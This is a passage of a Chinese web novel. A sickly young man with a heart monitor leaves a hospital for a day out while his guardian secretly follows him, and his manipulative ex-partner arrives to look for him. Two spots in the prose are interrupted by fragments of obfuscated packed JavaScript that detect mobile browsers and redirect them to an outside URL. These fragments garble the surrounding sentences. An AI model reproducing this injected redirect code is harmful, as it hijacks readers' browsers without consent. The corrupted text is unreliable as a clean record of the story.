安崇沉稳的神情微不可察地凝滞了半秒。 出去玩? 这倒也是个……情理之中的答案,毕竟祝缭少爷这个年纪,爱玩是天性,昨天下午在公园也的确玩得很开心。 但,平心而论,这并不符合昨晚情绪风暴后那明显的分离焦虑,以及今天的一整个早上,祝缭少爷表现出的、那种几乎要长在先生轮椅边上的状态。 安崇压下心头的诧异,维持着语气的平稳,试探着追问:“不陪先生去上班吗?” “嗯。”祝缭点点头,像是终于理顺了某个有点复杂的逻辑,语气也变得更加流畅,仿佛在陈述一个他早就在别处学得很好、已经完全记住了的道理。 “上班的话,是很重要、很严肃的事,公共场合。” “我去了,会在旁边……”他顿了顿,似乎在寻找准确的词语,“……不小心睡着,说不定会打很小声的呼噜。虽然我尽量忍住,但有时候控制不住。” “或者,我一直想说话,问东问西,会吵到傅沉檀想事情。” “或者,我玩手机、玩游戏的时候,不小心发出声音。” “或者。”他越说越严肃,仿佛再说一件后果极其严重的事情,“我不小心弄坏什么东西,碰倒水杯弄湿重要的文件,弄坏……唔,弄坏傅沉檀很重要的‘工作思路’,惹很大的麻烦。” 他掰着细白的手指,流畅地、一气呵成地背出这些“可能发生的坏事情”,并得出顺理成章的结论:“会添很多乱。” “所以我去找别的朋友玩,就好了。我戴着那个看心脏的机器,等傅沉檀下班,我再回来。” 逻辑清晰,目标明确。 解决方案完美。 小狗轻轻挺直了单薄的胸膛,态度是“就这样安排很妥当”的、相当沉稳的体贴,甚至带着一点点“我完全理解并遵守了规则”的小小骄傲。 ……安管家沉默着拧紧了眉头。 他的余光,敏锐地注意到主卧门口,被阳光照得仿佛镀上了层金边的地毯边缘,一道被微微拉长的、静止的,属于轮椅的阴影。 傅沉檀停在了门口。 “祝缭少爷。”安崇问,“是谁和您说的这些?” 刚才还温和征询的管家语调,此刻已透出某种近乎锋利的、不容回避的严肃,带着某种近乎本能的保护性审视。 “惹麻烦”、“添乱”。 这不像是祝缭少爷会自然而然、毫无缘由用在自己身上的词。 是谁对祝缭这么说过,或者用言行反复暗示过,让他形成了这样的认知?是那些不长眼的佣人?是傅晟那个口无遮拦、行事莽撞的混账东西?还是别的什么人,比如……昨天晚上,那通被先生亲手挂断的,「不愉快」的电话? 那些负责照顾祝缭,据说物质条件一应满足、甚至相当“纵容”,却又在正事上不闻不问,放任甚至是促成了祝缭落到谢泽谦、傅晟那些心术不正的混账东西手里,甚至被当成“小玩意儿”随意送人的地步的……他的“家人”。 徐家。 徐序。 这些年,究竟是怎么养这孩子的? 祝缭仰着脸,轻轻眨着柔软的深栗色眼睛。 他下意识地绕过了安崇的问题,又或者是,他的注意力已经迅速从“探究原因”上转开了,集中在了计划更具体的、更令人愉快的实施层面。 他甚至抬手轻轻拽了拽看安崇的袖子,用那种软乎乎的语气,反过来安慰突然变得严肃起来的安管家。 “没关系的,安叔。你别担心呀。” 他重新掰起手指,开始兴致勃勃地一样一样列举备选方案,因为想到那些熟悉而有趣的朋友、那些好玩的事情,眼睛迅速重新变得亮晶晶起来。 “我可以去找学长玩!他昨天说,今天好像没课,在画室,我正好去找他玩,看他画画,或者一起去逛街!” “我还可以玩电脑,去找一个打游戏特别厉害的前辈——他说他直播今天下午有个活动,让我去他的直播间一起玩,说可以带我上分!虽然我不太懂,但好像很有趣!他说我反应很快!” “还可以去染头发!我有一个朋友,是超厉害的发型设计师,他给我看了一个新调的颜色,特别特别漂亮!是那种会在阳光下变成浅浅的粉金色……像晚霞一样!”他甚至还没忘记正事,“还能把那个给傅沉檀的绳结编完,今天我不走神了,一定可以编好!编得超级完美!“ 他越说越觉得这个“傅沉檀上班,我自己出去玩”的计划简直完美,语气也重新恢复了饱满的轻快、明朗,充满了对充实而愉快一天的期待。 “或者,去昨天的那家店,看看有没有新到的漂亮珠子……我玩累了,就回来,或者安叔你叫人来接我也行!” 他给这个计划画上圆满的句号:“傅沉檀下班回家,就能看到我啦,还有手绳!” 计划通! 完美解决了“傅沉檀要上班”和“我不想一个人无聊待着”之间的矛盾。 既没有“添麻烦”,也没有“被丢下”。 小狗觉得自己简直聪明极了。 …… 安崇的手机连续震了几声。 他看着【先生】的标注,下意识抬头,那道影子依旧停留在门后,一道静止的、狭长的阴影。 傅沉檀没有从那间卧室里出来。 【先生:送他去。】 【先生:降温,穿厚。午餐健康饮食。别吃冰,零食限量。】 【先生:晚上16:00下班。】 安管家:“……”那还真的是很晚上。 身经百战的安管家深吸了口气,这意味着,今天下午所有非紧急的会议、面谈、商务活动,都需要重新协调,压缩时长,或者干脆全部转为线上进行。 先生这是把今天的工作日程,强行压缩并截止在了下午四点。 安崇收敛心神,看向端端正正坐着、仰着脸,乖乖等待他答复,对自己那套“完美独立计划”充满信心和期待的少年身上。 安崇的喉咙微不可察地动了下,收敛起过分复杂的波澜,换回柔和的神色。 “好的,祝缭少爷,先生同意了您的安排。” 祝缭的眼睛飞快地亮了一下。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096625|195641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他立刻跳下餐椅,动力十足地开始收拾、整理、换衣服,他落地的时候心脏好像隐蔽地“咚”了一声,但不要紧。他轻轻按了按那个位置,深呼吸,只是有点兴奋,或者早上吃得太饱了。 不会影响完美的一天。 祝缭换好了衣服。 也收拾好了东西。 他甚至还抽空发了消息,学长恰好有空,甚至居然就在附近,立刻一拍即合,来医院门口接他,祝缭趴在在落地窗上,一眼就看到了那辆停在医院大门的轻型越野车:“安叔,就是那个!” 安崇来到他身边,把想说的话再一次咽回去,替他穿好防风保暖的羽绒外套,整理好帽子和领口,戴好围巾和手套,仔细装好那个便携的心脏监测仪。 祝缭抱着手机,细白的手指灵巧地飞快戳着屏幕,给学长回消息,语气雀跃……心脏又“咚”了一声。 心脏监测仪也“嘀”地响了下,但没问题,不要紧,只是普通的早搏。 祝缭自己揉了揉心口,深呼吸了几口气,调整呼吸节奏,又抬起胳膊,像模像样地、有些笨拙地做了几次拉伸运动,仿佛这样就能把那股不适赶走。 他沉稳地和安叔道了别:“安叔,我走啦,我会注意安全,按时吃午饭,不吃太多零食的!” 他又扭头,看了一眼依旧静悄悄的主卧房门,声音不自觉地变轻了一点,带着点自己也没察觉的、细微的迟疑:“……也和傅沉檀讲,我出去玩啦,晚上见。” 傅沉檀换衣服好慢……祝缭轻轻揉了下眼睛,幸好傅沉檀换衣服慢,还没出来。 不然,小狗怕自己会忍不住,又变得不懂事、不听话、不省心,用那种湿漉漉的眼神看着他,非要缠着一起去“上班”了。 祝缭背好他的小书包,自己迈步走进电梯。他来到了医院的大厅,立刻就被冷气呛得咳嗽了好几下……几秒后。 冷气一下子就消失了。 中央空调有效调高了温度,他恰好站在一个风口底下,净化过的温热暖风扑面而来,舒服得他忍不住拉下口罩,仰起脸吹了好一会儿。 真舒服,医院的空调系统好像很智能呢。 ……他好像在余光里看到了轮椅。 祝缭立刻转身,心脏又突然“咚”了一声,这次有点疼了,他忍不住轻轻闷哼了一下,咬了咬嘴唇。 很正常,他冷静下来想,这里是医院。 医院的轮椅就是很多的。 祝缭朝门外走,学长让他不急,医院大厅的标识有些过分复杂了,人流又方向不一,他很快就弄乱了方向。 ……几秒后。 引导人员迅速就位,人流变得清晰有序,通向大门口的路变得又明确又清晰,一眼就能看到。 祝缭好像又听见了轮椅的电动马达声——那种低沉而平稳的、特有的“嗡”声,他倏地回头,目光有些雀跃地,急切地扫向身后。 还是什么都没看到。 身后都是人。 也许……又是听错了,医院的电动设备也很多。 小狗马上就要走到医院大楼光可鉴人的玻璃自动门前了,门外就是自由的空气、温暖的阳光,和等着他一起玩的朋友。学长说今天下午正好有个Party,如果他喜欢,干脆大家一起去玩。 他低着头,用鞋尖轻轻踢着光亮的瓷砖,小半张脸埋在高高的、柔软的羊绒围巾里。 “……傅沉檀。” 他很小声、很小声说,声音轻得仿佛只有他自己能听见,像是在进行一个只有自己参加的、秘密的告别仪式。 “我要出去玩了哦。” 他这么悄悄地自己对自己嘟囔,只是自己玩一天而已嘛。 而且,如果他真的不懂事,硬要缠着傅沉檀去上班,傅沉檀一开始可能会因为不好意思拒绝而勉强答应——这是徐序哥告诉他的,很多人其实是因为他太热情、不好意思拒绝,才会陪他玩。 然后,傅沉檀就会知道,他有多“麻烦”、多“幼稚”、“烦人”,“不让人省心”——这些词都是谢泽谦说的。 小狗模模糊糊地想起更多,被他习惯性地随便丢在乱七八糟的记忆纸盒最底下,不太开心、不太高兴的事。 谢泽谦偶尔会发疯,对着他叽里咕噜地说一大堆他听不懂的、但感觉语气很不好的话——这种时候,祝缭通常自动开启走神模式,偷偷摸手机和学长还有前辈聊天,或者自己玩钓鱼小游戏。 所以其实记住的也实在不多。 但和徐序有关的那些话……那些语气不那么重,甚至听起来很“关心”、很“温和”,很“为他好”的话,他还是会记住一点点的。 比如,徐序哥有时候会看着他,欲言又止地、无奈地轻轻叹气,然后说:“缭缭,你太黏人了,这不是缺点,但有时候,要分场合。一直黏着别人,难免会打扰别人,耽误别人的正事,让别人觉得累,觉得……束缚。” 比如,徐序哥会在他玩游戏玩得兴奋、不自觉动来动去,或者不小心笑出声的时候,轻声提醒:“缭缭,安静一点。你看,你动来动去的,自己是不是没有发现?这样会影响旁边的人。还有,你喜欢说话,分享是好事,但是别人会不会正在忙、心情不好呢?要学会观察,多替别人着想。知道吗?” 还有些更模糊的……关于谢泽谦的。 徐序哥说,要他想一想,谢泽谦忽然不理他、不回消息,把他晾在一边,有没有可能是他哪里做得不好,一直在消磨谢泽谦的耐心,要改…… 小狗最讨厌想这些不开心的事。 祝缭用力咬了咬嘴唇,把这些叽里咕噜听不懂的话又都丢回记忆破纸盒的深处,用力揉了揉眼睛。 “傅沉檀。”他对着玻璃门,更小声地、几乎只剩下气音地叽叽咕咕,像是在完成一个执拗的仪式,“我要出去玩了。” 小狗垂着尾巴许愿,就像之前,因为不停地、诚心诚意地念叨“红豆面包”,所以真的获得了热乎乎的、香喷喷的红豆面包一样。 “我要出去了。”他蜷着手指,“就出去了,我要去Party,玩一整天。” “抓我……去上班嘛。” 12. 人呢?! “……抓我呀。” 他低着头,用鞋尖一下、一下,轻轻踢着坚硬冰凉的大理石地面,用更轻、更模糊、几乎是含在喉咙里的气音,又自言自语似的悄悄说了一遍。 声音太小了。 轻飘飘的,一出口,就被医院大厅那嘈杂得过分的声浪彻底吞噬。 吞得干干净净,不留一丝痕迹。 完全不可能有人能听得到。 完全……不可能。 连他自己,其实都根本没听清自己说了什么,不确定自己有没有说出声,甚至不清楚自己心里究竟是怎么想的。 像一颗滑进深海就消失的小水珠。 …… 不行。 这不是他祝缭的风格。 祝缭用力晃了晃不听话、开始胡想乱想,自己跟自己过不去的脑袋,抬起手,振作精神,用冰凉的手指,不轻不重地拍了两下同样没什么温度的脸颊。 他吸了吸发堵的鼻子,又用力眨了几下眼睛,把那股不停往上冒的、湿漉漉的古怪酸涩感拼命压回去。 好了。别闹了。他在心里对自己说,带着一种他试图模仿的,从徐序哥、从谢泽谦……从很多成年人那里观察到的,那种毋庸置疑、不容辩驳的严厉。 别想了。计划好的。出去玩。开心点。傅沉檀要上班,很忙,有很多比你、比出去玩、比红豆面包重要得多的正事,不能没教养,没分寸。 不要烦人,你自己也可以玩得很好,一直都玩得很好。 有好多朋友等着你,很多好玩的事情排着队。人的寿命的确可能有点长,但一件快乐叠着一件快乐,热热闹闹,一不小心就可以过一生。 他没有再被一定是自己过度紧张、一定是幻听出来的,似乎正越来越近的电动轮椅低沉平稳的马达声蛊惑。 也没有再下意识回头张望。 他强迫自己低下头,压着隐隐发疼、跳得有些混乱的心脏,左钻右钻,有些费力地穿过大厅里熙熙攘攘、方向各异的人群,来到角落的暖风下面,挑了一把最不起眼、最靠墙,几乎完全被高大茂盛的散尾葵浓密枝叶阴影笼罩的椅子,慢慢地,有些脱力地坐了下去。 他需要休息一下。 就一下。 让这颗不听话的心脏慢慢平静下来,不那么难受地乱跳,不那么闷闷地发疼,不停地吃掉全身的力气。 等它好了,不疼了,不晕了,腿不发软了,他就能立刻,马上,开开心心、蹦蹦跳跳地出去和学长胜利汇合。 他要给学长讲今早他吃得超——美味、个头超——大的红豆面包!真的特别特别好吃,香甜松软得像刚摘下来的云朵,豆馅又甜又香快要淌出来!连傅沉檀都吃了一小块!安叔说傅沉檀平时都是只喝咖啡吃绿化带的! 小狗在脑子里,把这一幕想象得开开心心、细节丰富,连学长可能会露出的“哇哦”的惊讶表情,还有挤着眼睛、了然于心的促狭坏笑都熟练预演了一遍。 学长肯定会故意拖长声音,学他的语气:“哦——?傅、沉、檀、哦……” “就是缭缭你昨天和我说的,那个新认识的,特别、特别、特别喜欢的人?” 他肯定会有点不好意思,但肯定还是会用力点头,眼睛亮晶晶地、清清楚楚地承认:“嗯!傅沉檀是好人!他让医生给我看病,还这样……这样,摸我的头,很轻,很舒服……” 他到时候就要一边比划一边说,声音可能会不自觉变小,脸上可能也会发烫,但心里肯定是装得满满的快要溢出来的开心和一点点隐秘的小骄傲。 那些生动鲜活的画面,温暖明亮的阳光,朋友的笑脸,分享美食和心底小小秘密的快乐……把他苍白到近乎透明的清秀脸庞,也染上了一丝极淡的、虚幻的血色。 薄薄的、没什么血色的嘴唇,被无意识忍痛地用力咬着,出现了好几道泛白的牙印,甚至有几个小破口开始渗血。 祝缭一点都没觉出来疼。 小狗软软地靠在冰冷的椅子里,后脑勺仰在墙壁上,闭着眼睛,沉浸式地想象着被傅沉檀摸脑袋,超级无敌舒服……乐陶陶、美滋滋地,晕晕乎乎地一点一点攒起力气,胸膛轻轻地起伏。 他悄悄地、有些费力地拉开羽绒服最上面的一小点拉链。 把手探进去,模仿傅沉檀的动作,不疾不徐地顺时针打着圈,慢慢地,轻轻地揉着心脏的位置。 傅沉檀是这么揉的。 揉就不疼了。 所以,他现在自己揉。 等揉好了,也就不疼、不晕,腿不发软了。他就可以出去,继续执行那个完美的“出去玩”计划了。 手机嗡嗡震了两声。 祝缭被叫醒了。 …… 他停下揉心口的动作,深呼吸了几次,感觉那种尖锐的闷痛似乎真的缓和了一点点,立刻颇有成就感地振奋精神,摸索着按亮屏幕,解锁。 学长发来了一个自己画的搞怪表情包——一只圆滚滚、毛绒绒的卡通小狗,背着一个超大号书包,被卡在门缝里,正奋力蹬着四条小短腿。 【学长:缭缭,你被医院的大门卡住了吗?(探头)需要学长带着大份草莓冰淇淋和新鲜出炉、烫死人的黄油菠萝包全速前来“救援”吗?[坏笑.jpg][扛着火箭筒冲过来.jpg]】 祝缭软软窝在冰凉的蓝色塑料椅里,苍白指尖轻轻扒拉着屏幕,把键盘调成单手模式,回了一串【嗯嗯嗯嗯嗯!马上!要冰淇淋!】。 冰凉的、没有血色的秀气脸颊,一大半都埋在柔软蓬松的羊毛围巾里,他的胸口轻轻地随着呼吸起伏,整个人被裹得严严实实,只露出一双还带着湿漉漉雾气,轻轻弯起的柔软深栗色眼睛。 阳光透过窗户落在他身上,他穿着雪白的新羽绒服,像个不会化掉的小雪人。 他揉着心脏,泛青的嘴角不自觉地、极轻地向上微微弯了一下。 祝缭低下头,在表情包里认真翻找了一会儿。他的表情包库实在丰富得惊人,塞满了朋友们帮他从各个角落搜罗来的,各种奇奇怪怪可可爱爱的小图,祝缭把它们仔细整理得分门别类,井然有序。 最后,他挑好了一个同样毛绒绒的、“正在全力冲刺”的卡通小动物表情包,给学长回了过去。 他轻轻戳了戳屏幕上那只被卡在门缝里、还在奋力挣扎的小狗,仿佛隔着屏幕,真的摸了摸它那看起来就很好揉的、毛绒绒的脑袋。 然后,他长按屏幕,手指熟练操作,把学长的独家新表情包保存了下来,小心翼翼放进了备注着「超开心!好朋朋朋朋朋友!」的隐藏相册。 那里面已经被塞得满满当当,无聊了可以翻好几个小时不重样,全是朋友们发给他的,或温暖或沙雕或搞怪的小图片。 祝缭其实还有一个不怎么用的备用手机,专门用来存那些海量的、他不舍得删的“快乐碎片”,里面全是和朋友们一起拍的、成千上万张照片和视频,搞笑的表情包,还有朋友们发给他的,他觉得特别好听的歌、有趣的视频……2个T的内存,都已经被小狗不知疲倦叼回来的、闪闪发光的快乐,塞得快要爆炸。 祝缭忽略掉了心脏一下、一下,像是被无形的手轻轻揪着,又轻轻放开的不舒服,经常会有这样的情况,深呼吸几次,休息一下就会好。没事的。 没事的,没事的,会好的。 出去吧。 他盯着自己那双早上被安叔擦得干干净净、一尘不染的白色运动鞋,试图说服自己好像被胶水粘在地上了的腿。 走出玻璃门,学长在等你,说好了要一起玩的。染头发,逛街,买珠子,打游戏,Party,肯定超好玩…… 「对!超好玩!」系统钻到了他的手机里,尽力模仿快乐的小狗语气帮他回消息,一边尽力转述,试图充分点燃、鼓励、调动起祝缭自身的热情和积极性,死死按住那个要命的倒计时。 祝缭这个薛定谔的寂寞状态,【紧急退出】的提示弹窗一闪一闪的,系统已经快要神经衰弱了。 「你看!你们学长又发新的了!他们好几个人打算下午去玩室内卡丁车!还有最新款模拟赛车游戏,身临其境!预约名额超难抢!问你去不去!傅晟请客……呸,换一个。你看这个手作集市,你看这个珠子!这个色泽!这个造型!和你昨天买的那些肯定绝配!我们可以去淘宝,不,去淘货……」 还没说完。 手机毫无预兆地连续嗡嗡震响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096626|195641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 系统的声音戛然而止。 不是之前提示消息,那种短促、轻快的轻微震动,是来电时那种执着、急迫、不容拒绝的不罢休的催促。 屏幕上的来电提醒,是那个不久前才接通过,还没来得及改的……系统看了就CPU爆炸的备注。 【徐序哥!最喜欢】 还有……刚刚还在用可爱表情包逗他开心、分享下午可选行程的学长,突然连珠炮一样发过来的,语气截然不同、充满了焦灼的紧急提醒。 【学长:woc缭缭!先别出来!!!】 【快找个地方躲好,谢泽谦在找你,我刚买冰淇淋看见他车了!就停在医院大门斜对面!那个黑宾利!尾号7777,离我不到五十米!】 【学长:疯了一样这个人!玻璃都摇下来了!眼睛红的跟什么似的,到处看!】 【学长:怎么回事啊他这次不是才晾了你一个星期吗??平时不都是一个月起步,这是受什么刺激了?】 【学长:你别动我假装路过替你过去听听!】 【学长:你那个徐序哥也在!副驾!脑袋上好像裹了个纱布,脸色难看得很……仙人个板板的,不是他把你在医院、还认识新朋友出去玩的事告诉谢泽谦的吧?!】 【学长:噢噢噢谢泽谦刚把他拖下车,揪着他领子逼问他怎么回事!这货站都站不稳……一个两个的有病吧!认识几个朋友怎么了?我们带你玩怎么了?你情我愿的关他们屁事啊!】 【学长:总之你先藏好!千万别出来!我看看情况,大不了咱们报警……】 …… 系统看得心惊胆颤,随即怒发冲冠,数据绒毛气得根根倒竖,恨不得立刻顺着网线爬过去,把那两个混账东西连病毒都不吃的脑子通通格式化掉。 「别怕!别往心里去!有我在!我是资深系统,我有一百种虐渣手段!」 它忙得要命,幻化出小黑手卷着那个手机,在阴影里飞速敲击屏幕,模仿祝缭的语气给学长回消息,一边在祝缭的意识里快速安抚:「我来想办法屏蔽信号、干扰他们——宿主?宿主你听到我说话了吗?你还好吗宿主?人呢??祝缭???」 系统猛地拔起快要长进手机里的虚拟摄像头,三百六十度急转,扫过周围。 它这才发现……手机居然已经不知什么时候,屏幕朝下,倒扣着掉在了蓝色座椅下面的缝隙里。 谢泽谦已经从容地、带着一种压抑到极致的平静,走进了医院。 他穿着一身质地精良的深灰色羊绒大衣,眼下带着浓郁的乌影,脸色是一种近乎病态的青白,但神情却异常平静,甚至称得上温文尔雅。 只有那双泛着红血丝、深处隐约翻涌骇人风暴的,亮得偏执慑人的眼睛,泄露了一丝他的真实状态。 徐序跟在他的后面,几步远的地方,脚步有些虚浮,衣服也显得有些凌乱……最刺目的是额角上方,被帽檐压着,果然缠着一圈厚厚的纱布。 谢泽谦径直走向服务台,递上一张设计简约却不失格调与质感的名片,仿佛带着款款深情地向值班护士询问着什么。看口型,大概是在问“祝缭在哪”——那是他“闹了点小脾气”,“不听话”,“身体不好”,“带病跑出来的小男朋友”具体在哪间病房……他「很担心」。 他的措辞无可挑剔,委婉而得体,神情关切中带着恰到好处的、恋人间的无奈与焦心,仿佛真的只是一个前来寻找赌气出走病弱小男友的,深情,焦虑,不安,却仍尽力保持风度的完美爱人。 徐序沉默地站着,脸色难看得要命,他没有看谢泽谦,也没有看护士,没有看周围,只是低头死死盯着地面。 而之前蹑手蹑脚特工一样跟着溜进了医院的学长,正藏在不远处的巨大承重柱后面,机动游走,警惕探头观察,并持续给祝缭持续发消息,现场直播着这两个人的动向。 …… 系统扛着虚拟的高压电击狼牙棒、一喷就上天死神款防狼喷雾,拖着还在震动的手机,满医院乱窜,没时间管任何一个。 它那么大一个、刚才还软绵绵、苍白着小脸,乖乖窝在椅子上的宿主呢??? 祝缭呢??? 人呢?!